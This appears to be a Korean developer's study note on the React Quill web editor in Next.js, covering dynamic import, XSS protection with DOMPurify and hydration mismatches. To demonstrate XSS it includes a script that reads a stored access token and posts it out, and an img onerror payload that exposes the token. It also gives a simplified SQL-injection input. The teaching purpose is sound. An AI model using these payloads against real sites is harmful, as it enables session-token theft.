많이 사용하는 웹에디터
노션과 비슷한 국내 웹에디터
textarea의 형태로 onChange 실행이 가능하다.
import ReactQuill from "react-quill"
export default WebEditorPage(){
return (
<ReactQuill onChange={onChangeContents} />
)
}
로 실행하면 document not found 에러가 뜬다. 프리렌더링 할 때는 dom이 없기 때문에 발생하는 에러다. 이 에러를 해결하기 위해서 다이나믹 임포트를 사용해준다.
import dynamic from "next/dynamic";
const ReactQuill = dynamic(() => import("react-quill"), { ssr: false });
ssr: false
는 서버 사이드 렌더링에서 reactquill을 사용하지 않겠다는 의미다.
.....
...
..
html 태그가 문자 그대로 출력됐다. 이 상태로는 웹에디터를 쓰는 이유가 없다.
웹에디터로 입력한 값을 화면에서 태그가 적용된 채 출력할 수 있다.
<div
dangerouslySetInnerHTML={{
__html: data?.fetchBoard.contents}}
>
</div>
하지만 뭔가 불안하다. 이름부터 dangerously...
html 태그를 인식하다보니 로그인한 사람의 토큰을 가져오는 소스 코드를 작성할 수 도 있다.
<script>
const token = localStorage.getItem("accessToken")
axios.post(백엔드주소, {token})
</script>
물론 react quill에서 이런 일을 방어하기 위해 직접 <> 를 입력하면 entity로 변환하게끔 한다. 하지만 playground 에서 직접 등록한다면...?
"<img src='#' onerror='console.log(localStorage.getItem(\"accessToken\"))' />"
어김없이 콘솔에 accessToken 이 찍혀 나오게 된다.
웹에디터로 해킹을 막기 위한 라이브러리다. dompurify 역시 dom 이 필요하기 때문에 프리렌더링 과정에서 에러가 발생한다.
{typeof window !== "undefined" && (
<div
dangerouslySetInnerHTML={{
Dompurify.sanitize(data?.fetchBoard.contents),}}
>
</div>
)}
위에서 언급한 내용들이 XSS다. 다시 말해 스크립트 사이에 해킹 소스 코드를 넣는 것을 말한다.
자주 사용되는 해킹 기법들을 4년에 한 번씩 공개하는 것
이런 로그인 로직이 있다고 하자. 그리고 이 계정을 해킹하려는 해커가 있다.
if(email === a@a.com && pw === 1234){
// accessToken
}
비밀번호를 모르는 해커가 입력하는 건 qqq || 1===1 로 누가봐도 유저의 비밀번호 1234와는 다르다. 하지만 qqq 가 비밀번호와 다르더라도 1 === 1 이 true 가 반환되고, || 연산자 때문에 결국 비밀번호는 true 값을 가지게 되며, 로그인에 성공한다.
ORM 으로 이런 문제들이 발생하는 것을 막고 있지만 모든 걸 막을 순 없기 때문에 여전히 SQL-Injection 문제가 발생하고 있다.
<div>
<div style={{ color: "red" }}>작성자 : {data?.fetchBoard.writer} </div>
<div style={{ color: "green" }}>제목 : {data?.fetchBoard.title} </div>
{typeof window !== "undefined" && (
<div
style={{ color: "blue" }}
dangerouslySetInnerHTML={{
__html: Dompurify.sanitize(data?.fetchBoard.contents),
}}
></div>
)}
<div style={{ color: "brown" }}>상품가격 : </div>
</div>
분명 각각 div마다 다른 색상을 주었는데 어라라 내용의 blue 는 어디가고 상품 가격의 brown 이 들어온 걸까
프론트엔드 서버는 태그 위치, 태그에 따른 css 를 미리 그려본(prerendering) 후에 자바스크립트는 브라우저에서 바인딩 해준다. 이 과정을 hydration
이라고 부른다.
위와 같은 문제가 일어나는 이유는 세 번째 div가 프리렌더링 과정에서 렌더링 되지 않기 때문이다. 즉, 프리렌더링 할 때 들어가는 색상은 red, green, brown 세 가지 밖에 없고 브라우저에 그려낼 때도 저 세 가지 색상만 가지고 그려내게 된다. 이러한 현상을 hydration issue
라고 부른다.
이런 경우 div 의 개수를 맞춰서 해결할 수 있다. 프리렌더링 과정에서는 내용은 그리지 않고 골격만 그리기 때문에 빈 태그를 만들어주면 된다.
// 삼항 연산자 사용하기
{typeof window !== "undefined" ? (
<div
style={{ color: "blue" }}
dangerouslySetInnerHTML={{
__html: Dompurify.sanitize(data?.fetchBoard.contents),
}}
></div>
) : (
<div style={{ color: "blue" }}></div>
)}